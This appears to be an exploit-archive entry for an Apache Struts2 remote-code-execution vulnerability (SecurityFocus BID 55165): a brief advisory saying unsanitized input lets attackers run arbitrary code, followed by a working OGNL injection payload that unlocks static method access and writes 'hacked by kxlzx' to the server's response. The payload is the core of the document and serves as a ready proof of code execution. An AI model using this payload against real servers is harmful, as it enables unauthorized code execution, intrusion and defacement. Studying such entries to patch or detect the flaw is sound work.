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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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source: https://www.securityfocus.com/bid/55165/info

Apache Struts2 is prone to a remote-code-execution vulnerability because it fails to sufficiently sanitize user-supplied input.

Attackers can exploit this issue to execute arbitrary code in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. 

%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}